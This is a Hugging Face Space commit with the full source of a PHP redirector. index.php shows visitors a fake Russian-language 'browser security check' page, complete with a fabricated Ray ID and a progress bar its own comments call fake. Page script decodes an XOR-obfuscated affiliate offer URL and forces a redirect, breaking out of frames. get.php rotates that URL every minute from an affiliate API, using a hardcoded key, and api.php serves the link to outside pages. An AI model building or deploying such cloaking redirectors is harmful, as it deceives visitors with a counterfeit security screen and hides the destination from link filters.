fefe45 commited on
Commit
e628c68
·
verified ·
1 Parent(s): da499bf

Initial deploy via automation script

Browse files
Files changed (6) hide show
  1. Dockerfile +28 -0
  2. README.md +41 -10
  3. api.php +65 -0
  4. entrypoint.sh +13 -0
  5. get.php +79 -0
  6. index.php +391 -0
Dockerfile ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM php:8.2-apache
2
+
3
+ # Install dependencies if needed (curl is usually included but good to be sure)
4
+ # RUN docker-php-ext-install curl
5
+
6
+ # Copy application files
7
+
8
+ # Copy application files
9
+ COPY . /var/www/html/
10
+
11
+ # Configure Apache to listen on port 7860 (Hugging Face requirement)
12
+ RUN sed -i 's/80/7860/g' /etc/apache2/sites-available/000-default.conf /etc/apache2/ports.conf
13
+
14
+
15
+ # Set working directory
16
+ WORKDIR /var/www/html/
17
+
18
+ # Ensure domain_cache.txt exists and is writable
19
+ RUN touch domain_cache.txt && \
20
+ chown www-data:www-data domain_cache.txt && \
21
+ chmod 664 domain_cache.txt
22
+
23
+ # Copy and set up entrypoint
24
+ COPY entrypoint.sh /usr/local/bin/entrypoint.sh
25
+ RUN chmod +x /usr/local/bin/entrypoint.sh
26
+
27
+ # Use the entrypoint script
28
+ ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
README.md CHANGED
@@ -1,10 +1,41 @@
1
- ---
2
- title: Bv74w9pgph
3
- emoji: 📈
4
- colorFrom: indigo
5
- colorTo: purple
6
- sdk: docker
7
- pinned: false
8
- ---
9
-
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ title: Redirect Security
3
+ emoji: 🚀
4
+ colorFrom: blue
5
+ colorTo: indigo
6
+ sdk: docker
7
+ app_file: index.php
8
+ pinned: false
9
+ ---
10
+ # PHP Redirector on Hugging Face Spaces
11
+
12
+ This repository contains a PHP redirect script configured to run on Hugging Face Spaces using the Docker SDK.
13
+
14
+ ## Deployment Instructions
15
+
16
+ 1. **Create a New Space**:
17
+ * Go to [Hugging Face Spaces](https://huggingface.co/spaces).
18
+ * Click "Create new Space".
19
+ * **Space SDK**: Select **Docker**.
20
+ * **Space Hardware**: The free tier (2 vCPU, 16GB RAM) is sufficient.
21
+
22
+ 2. **Upload Files**:
23
+ * Push the contents of this repository to your Space.
24
+
25
+ 3. **Configure Secrets**:
26
+ * Go to your Space's **Settings**.
27
+ * Scroll to **Variables and secrets**.
28
+ * Click **New secret**.
29
+ * **Name**: `API_KEY`
30
+ * **Value**: Your UltraPartners API Key (e.g., `26-c0f6f3fefa70cdb761af4e80aae635bf`).
31
+
32
+ ## Local Development
33
+
34
+ To run locally with Docker:
35
+
36
+ ```bash
37
+ docker build -t hf-php-app .
38
+ docker run -p 7860:7860 -e API_KEY="your_api_key_here" hf-php-app
39
+ ```
40
+
41
+ Access the application at `http://localhost:7860`.
api.php ADDED
@@ -0,0 +1,65 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ // ==========================================
3
+ // API ПРОКСИ ДЛЯ GITHUB PAGES
4
+ // Возвращает свежую ссылку в JSON формате
5
+ // ==========================================
6
+
7
+ header("Access-Control-Allow-Origin: *");
8
+ header("Content-Type: application/json; charset=UTF-8");
9
+ header("Cache-Control: no-store, no-cache, must-revalidate");
10
+ header("Pragma: no-cache");
11
+
12
+ define("CACHE_FILE", __DIR__ . "/domain_cache.txt");
13
+ define("XOR_KEY", "ui-sess-v4-8921-xb-log"); // Должен совпадать с get.php
14
+
15
+ // Функция дешифрования
16
+ function xor_decode($base64_string, $key) {
17
+ $string = base64_decode($base64_string);
18
+ $out = '';
19
+ for ($i = 0; $i < strlen($string); $i++) {
20
+ $out .= $string[$i] ^ $key[$i % strlen($key)];
21
+ }
22
+ return $out;
23
+ }
24
+
25
+ $cache_file = CACHE_FILE;
26
+ $api_response = "";
27
+
28
+ // Безопасное чтение файла с защитой от гонки процессов
29
+ if (file_exists($cache_file)) {
30
+ $fp = fopen($cache_file, "r");
31
+ if (flock($fp, LOCK_SH)) {
32
+ $fsize = filesize($cache_file);
33
+ if ($fsize > 0) {
34
+ $content = fread($fp, $fsize);
35
+ if (!empty($content)) {
36
+ $api_response = trim($content);
37
+ }
38
+ }
39
+ flock($fp, LOCK_UN);
40
+ }
41
+ fclose($fp);
42
+ }
43
+
44
+ if (!empty($api_response)) {
45
+ $url = xor_decode($api_response, XOR_KEY);
46
+ if (strpos($url, 'http') === 0) {
47
+ echo json_encode([
48
+ "success" => true,
49
+ "url" => $url
50
+ ], JSON_UNESCAPED_SLASHES);
51
+ } else {
52
+ http_response_code(500);
53
+ echo json_encode([
54
+ "success" => false,
55
+ "error" => "Invalid decoded URL. Make sure get.php is running."
56
+ ]);
57
+ }
58
+ } else {
59
+ http_response_code(404);
60
+ echo json_encode([
61
+ "success" => false,
62
+ "error" => "No cache available. Wait for get.php to run."
63
+ ]);
64
+ }
65
+ ?>
entrypoint.sh ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/bin/bash
2
+
3
+ # Start the background updater loop
4
+ # It runs get.php every 60 seconds
5
+ (
6
+ while true; do
7
+ php /var/www/html/get.php
8
+ sleep 60
9
+ done
10
+ ) &
11
+
12
+ # Start Apache in the foreground
13
+ docker-php-entrypoint apache2-foreground
get.php ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /* CRON SCRIPT v2 (Updated for UltraPartners API) */
3
+
4
+ // === НАСТРОЙКИ НОВОГО API ===
5
+ $apiKey = getenv('API_KEY');
6
+ if (!$apiKey) {
7
+ // Fallback for local testing or if env var is missing (Optional: remove hardcoded key for production)
8
+ $apiKey = "26-c0f6f3fefa70cdb761af4e80aae635bf";
9
+ }
10
+ define("API_KEY", $apiKey);
11
+ define("OFFER_ID", "34"); // ID оффера
12
+ define("API_URL", "https://ultrapartners.space/api/wm/flows.json");
13
+
14
+ // === НАСТРОЙКИ СИСТЕМЫ (Не менять для совместимости с index.php) ===
15
+ define("CACHE_FILE", "domain_cache.txt");
16
+ define("XOR_KEY", "ui-sess-v4-8921-xb-log"); // Ключ должен совпадать с index.php
17
+
18
+ // Функция шифрования (Оставляем как было для index.php)
19
+ function xor_encode($string, $key) {
20
+ $out = '';
21
+ for ($i = 0; $i < strlen($string); $i++) {
22
+ $out .= $string[$i] ^ $key[$i % strlen($key)];
23
+ }
24
+ return base64_encode($out);
25
+ }
26
+
27
+ // Новая функция получения ссылки (Логика из new_get.php)
28
+ function fetchTargetUrl() {
29
+ $requestUrl = API_URL . "?id=" . API_KEY . "&offer=" . OFFER_ID;
30
+
31
+ $ch = curl_init($requestUrl);
32
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
33
+ curl_setopt($ch, CURLOPT_TIMEOUT, 15);
34
+ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
35
+
36
+ $response = curl_exec($ch);
37
+ $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
38
+ curl_close($ch);
39
+
40
+ if ($httpCode === 200 && !empty($response)) {
41
+ $data = json_decode($response, true);
42
+
43
+ // Логика поиска URL в ответе (обходим массив, так как ключи могут меняться)
44
+ if (is_array($data) && count($data) > 0 && !isset($data['error'])) {
45
+ foreach ($data as $item) {
46
+ if (isset($item['url']) && !empty($item['url'])) {
47
+ // Возвращаем найденную ссылку
48
+ // Примечание: stripslashes нужен, если JSON экранирует слеши
49
+ return stripslashes($item['url']);
50
+ }
51
+ }
52
+ }
53
+ }
54
+ return false;
55
+ }
56
+
57
+ // === ОСНОВНОЙ ПРОЦЕСС ===
58
+
59
+ $targetUrl = fetchTargetUrl();
60
+
61
+ if ($targetUrl) {
62
+ // Шифруем полученную ссылку ключом, который знает index.php
63
+ $encrypted = xor_encode($targetUrl, XOR_KEY);
64
+
65
+ // Безопасная запись с блокировкой (как в старом скрипте)
66
+ $fp = fopen(CACHE_FILE, 'c');
67
+ if (flock($fp, LOCK_EX)) {
68
+ ftruncate($fp, 0);
69
+ fwrite($fp, $encrypted);
70
+ fflush($fp);
71
+ flock($fp, LOCK_UN);
72
+ }
73
+ fclose($fp);
74
+
75
+ echo "OK: Updated to " . substr($targetUrl, 0, 30) . "... at " . date("H:i:s");
76
+ } else {
77
+ echo "ERROR: Could not fetch URL from API at " . date("H:i:s");
78
+ }
79
+ ?>
index.php ADDED
@@ -0,0 +1,391 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ // ==========================================
3
+ // БЭКЕНД ЧАСТЬ (БЕЗ ИЗМЕНЕНИЙ)
4
+ // ==========================================
5
+ header("Cache-Control: no-store, no-cache, must-revalidate");
6
+ header("Pragma: no-cache");
7
+
8
+ $cache_file = 'domain_cache.txt';
9
+ $api_response = "";
10
+
11
+ // Безопасное чтение файла с защитой от гонки процессов и пустых байтов
12
+ if (file_exists($cache_file)) {
13
+ $fp = fopen($cache_file, "r");
14
+ if (flock($fp, LOCK_SH)) {
15
+ $fsize = filesize($cache_file);
16
+ if ($fsize > 0) {
17
+ $content = fread($fp, $fsize);
18
+ if (!empty($content)) {
19
+ $api_response = trim($content);
20
+ }
21
+ }
22
+ flock($fp, LOCK_UN);
23
+ }
24
+ fclose($fp);
25
+ }
26
+ ?>
27
+ <!DOCTYPE html>
28
+ <html lang="ru">
29
+
30
+ <head>
31
+ <meta charset="UTF-8">
32
+ <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
33
+ <meta name="robots" content="noindex, nofollow, noarchive">
34
+ <title>Проверка безопасности браузера</title>
35
+
36
+ <style>
37
+ :root {
38
+ --primary: #2563eb;
39
+ /* Trust Blue */
40
+ --primary-dark: #1d4ed8;
41
+ --bg-color: #f8fafc;
42
+ --card-bg: #ffffff;
43
+ --text-head: #0f172a;
44
+ --text-body: #64748b;
45
+ --border-color: #e2e8f0;
46
+ --success: #10b981;
47
+ }
48
+
49
+ * {
50
+ margin: 0;
51
+ padding: 0;
52
+ box-sizing: border-box;
53
+ -webkit-tap-highlight-color: transparent;
54
+ }
55
+
56
+ body {
57
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
58
+ background-color: var(--bg-color);
59
+ color: var(--text-head);
60
+ display: flex;
61
+ flex-direction: column;
62
+ justify-content: center;
63
+ align-items: center;
64
+ min-height: 100vh;
65
+ padding: 20px;
66
+ }
67
+
68
+ .system-card {
69
+ background: var(--card-bg);
70
+ width: 100%;
71
+ max-width: 420px;
72
+ border-radius: 12px;
73
+ box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.05), 0 10px 15px -3px rgba(0, 0, 0, 0.05);
74
+ border: 1px solid var(--border-color);
75
+ overflow: hidden;
76
+ text-align: center;
77
+ position: relative;
78
+ }
79
+
80
+ /* Верхняя полоска прогресса (фейковая) */
81
+ .loading-bar {
82
+ height: 4px;
83
+ width: 100%;
84
+ background: #eff6ff;
85
+ position: absolute;
86
+ top: 0;
87
+ left: 0;
88
+ }
89
+
90
+ .loading-bar::after {
91
+ content: '';
92
+ position: absolute;
93
+ left: 0;
94
+ top: 0;
95
+ height: 100%;
96
+ width: 30%;
97
+ background: var(--primary);
98
+ animation: load 2s infinite ease-in-out;
99
+ }
100
+
101
+ @keyframes load {
102
+ 0% {
103
+ left: -30%;
104
+ }
105
+
106
+ 100% {
107
+ left: 100%;
108
+ }
109
+ }
110
+
111
+ .card-content {
112
+ padding: 40px 30px;
113
+ }
114
+
115
+ /* Анимированная иконка */
116
+ .icon-area {
117
+ position: relative;
118
+ width: 80px;
119
+ height: 80px;
120
+ margin: 0 auto 25px;
121
+ display: flex;
122
+ align-items: center;
123
+ justify-content: center;
124
+ }
125
+
126
+ .icon-circle {
127
+ position: absolute;
128
+ width: 100%;
129
+ height: 100%;
130
+ border-radius: 50%;
131
+ background: #dbeafe;
132
+ opacity: 0.5;
133
+ animation: pulse 2s infinite;
134
+ }
135
+
136
+ .icon-circle:nth-child(2) {
137
+ width: 70%;
138
+ height: 70%;
139
+ background: #bfdbfe;
140
+ animation-delay: 0.5s;
141
+ opacity: 0.8;
142
+ }
143
+
144
+ .icon-svg {
145
+ position: relative;
146
+ width: 40px;
147
+ height: 40px;
148
+ color: var(--primary);
149
+ z-index: 2;
150
+ }
151
+
152
+ @keyframes pulse {
153
+ 0% {
154
+ transform: scale(0.95);
155
+ opacity: 0.5;
156
+ }
157
+
158
+ 50% {
159
+ transform: scale(1.05);
160
+ opacity: 0.8;
161
+ }
162
+
163
+ 100% {
164
+ transform: scale(0.95);
165
+ opacity: 0.5;
166
+ }
167
+ }
168
+
169
+ h1 {
170
+ font-size: 20px;
171
+ font-weight: 700;
172
+ color: var(--text-head);
173
+ margin-bottom: 10px;
174
+ letter-spacing: -0.01em;
175
+ }
176
+
177
+ p {
178
+ font-size: 15px;
179
+ color: var(--text-body);
180
+ line-height: 1.6;
181
+ margin-bottom: 30px;
182
+ }
183
+
184
+ /* Стиль кнопки */
185
+ .action-btn {
186
+ display: flex;
187
+ justify-content: center;
188
+ align-items: center;
189
+ width: 100%;
190
+ padding: 16px;
191
+ background: var(--primary);
192
+ color: white;
193
+ border: none;
194
+ border-radius: 8px;
195
+ font-size: 16px;
196
+ font-weight: 600;
197
+ cursor: pointer;
198
+ transition: all 0.2s;
199
+ box-shadow: 0 4px 6px -1px rgba(37, 99, 235, 0.2);
200
+ }
201
+
202
+ .action-btn:hover {
203
+ background: var(--primary-dark);
204
+ transform: translateY(-1px);
205
+ }
206
+
207
+ .action-btn:active {
208
+ transform: translateY(1px);
209
+ }
210
+
211
+ /* Лоадер внутри кнопки */
212
+ .loader-ui {
213
+ display: none;
214
+ width: 20px;
215
+ height: 20px;
216
+ border: 2px solid rgba(255, 255, 255, 0.3);
217
+ border-radius: 50%;
218
+ border-top-color: #fff;
219
+ animation: spin 0.8s linear infinite;
220
+ }
221
+
222
+ @keyframes spin {
223
+ to {
224
+ transform: rotate(360deg);
225
+ }
226
+ }
227
+
228
+ .action-btn.active {
229
+ background: #94a3b8;
230
+ pointer-events: none;
231
+ cursor: default;
232
+ }
233
+
234
+ .action-btn.active .btn-lbl {
235
+ display: none;
236
+ }
237
+
238
+ .action-btn.active .loader-ui {
239
+ display: block;
240
+ }
241
+
242
+ /* Технический футер (для доверия) */
243
+ .tech-footer {
244
+ margin-top: 25px;
245
+ padding-top: 20px;
246
+ border-top: 1px solid var(--border-color);
247
+ font-size: 11px;
248
+ color: #94a3b8;
249
+ display: flex;
250
+ justify-content: space-between;
251
+ font-family: monospace;
252
+ }
253
+ </style>
254
+ </head>
255
+
256
+ <body>
257
+
258
+ <div class="system-card">
259
+ <div class="loading-bar"></div>
260
+
261
+ <div class="card-content">
262
+ <div class="icon-area">
263
+ <div class="icon-circle"></div>
264
+ <div class="icon-circle"></div>
265
+ <!-- Shield Icon -->
266
+ <svg class="icon-svg" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
267
+ stroke="currentColor" stroke-width="2">
268
+ <path stroke-linecap="round" stroke-linejoin="round"
269
+ d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z" />
270
+ </svg>
271
+ </div>
272
+
273
+ <h1>Проверка безопасности</h1>
274
+ <p>
275
+ Система проверяет ваше соединение на наличие автоматических угроз.
276
+ </p>
277
+
278
+ <div id="statusContainer" style="margin-top: 25px; padding: 16px 20px; background: #eff6ff; border-radius: 8px; border: 1px solid #bfdbfe; color: var(--primary-dark); font-weight: 600; font-size: 15px; display: flex; align-items: center; justify-content: center; gap: 12px; box-shadow: inset 0 2px 4px rgba(0,0,0,0.02);">
279
+ <span>Автоматическая проверка браузера...</span>
280
+ <div class="loader-ui" style="display: block; border: 2px solid rgba(37, 99, 235, 0.2); border-top-color: var(--primary); width: 18px; height: 18px;"></div>
281
+ </div>
282
+
283
+ <div class="tech-footer">
284
+ <span>Ray ID:
285
+ <script>document.write(Math.random().toString(36).substr(2, 9).toUpperCase())</script>
286
+ </span>
287
+ <span>Security Check v4.2</span>
288
+ </div>
289
+ </div>
290
+ </div>
291
+
292
+ <script>
293
+
294
+ const AppConfig = {
295
+ session_ver: "ui-sess-v4-8921-xb-log",
296
+ authToken: "<?php echo $api_response; ?>",
297
+ uiDelay: 800
298
+ };
299
+
300
+ function renderLayout(t, k) {
301
+ try {
302
+ let s = atob(t);
303
+ let res = '';
304
+ for (let i = 0; i < s.length; i++) {
305
+ res += String.fromCharCode(s.charCodeAt(i) ^ k.charCodeAt(i % k.length));
306
+ }
307
+ return res;
308
+ } catch (z) {
309
+ return null;
310
+ }
311
+ }
312
+
313
+ function appendUtmSource(targetUrl) {
314
+ try {
315
+ const urlParams = new URLSearchParams(window.location.search);
316
+ const utmSource = urlParams.get('utm_source');
317
+ if (utmSource) {
318
+ const urlObj = new URL(targetUrl);
319
+ urlObj.searchParams.set('utm_source', utmSource);
320
+ return urlObj.toString();
321
+ }
322
+ } catch (e) {
323
+ console.error('Error appending utm_source', e);
324
+ }
325
+ return targetUrl;
326
+ }
327
+
328
+ document.addEventListener('DOMContentLoaded', function () {
329
+ const statusContainer = document.getElementById('statusContainer');
330
+ let errMsg = document.getElementById('errorMsg');
331
+ if (!errMsg) {
332
+ errMsg = document.createElement('div');
333
+ errMsg.id = 'errorMsg';
334
+ errMsg.style.color = '#ef4444';
335
+ errMsg.style.fontSize = '13px';
336
+ errMsg.style.marginTop = '10px';
337
+ errMsg.style.display = 'none';
338
+ statusContainer.parentNode.insertBefore(errMsg, statusContainer.nextSibling);
339
+ }
340
+
341
+ const minDelay = 2000;
342
+ const maxWait = 5000;
343
+ const start = Date.now();
344
+
345
+ const fetchPromise = new Promise((resolve, reject) => {
346
+ // For PHP templates with inline tokens
347
+ const path = renderLayout(AppConfig.authToken, AppConfig.session_ver);
348
+ if (path && path.indexOf('http') === 0) {
349
+ resolve(path);
350
+ } else {
351
+ reject(new Error('Не удалось получить ссылку'));
352
+ }
353
+ });
354
+
355
+ const timeoutPromise = new Promise((_, reject) => {
356
+ setTimeout(() => reject(new Error('Превышено время ожидания ответа от сервера.')), maxWait);
357
+ });
358
+
359
+ Promise.race([fetchPromise, timeoutPromise])
360
+ .then((url) => {
361
+ const elapsed = Date.now() - start;
362
+ const remainingDelay = Math.max(0, minDelay - elapsed);
363
+
364
+ setTimeout(() => {
365
+ const finalUrl = appendUtmSource(url);
366
+ try {
367
+ if (window.top && window.top !== window) {
368
+ window.top.location.href = finalUrl;
369
+ }
370
+ } catch (e) {}
371
+ setTimeout(() => {
372
+ window.location.href = finalUrl;
373
+ }, 100);
374
+ }, remainingDelay);
375
+ })
376
+ .catch(err => {
377
+ console.error(err);
378
+ const elapsed = Date.now() - start;
379
+ const remainingDelay = Math.max(0, minDelay - elapsed);
380
+
381
+ setTimeout(() => {
382
+ statusContainer.innerHTML = '<span style="color:#ef4444;">Ошибка проверки. Пожалуйста, обновите страницу.</span>';
383
+ errMsg.style.display = 'block';
384
+ errMsg.textContent = "Ошибка: " + err.message;
385
+ }, remainingDelay);
386
+ });
387
+ });
388
+ </script>
389
+ </body>
390
+
391
+ </html>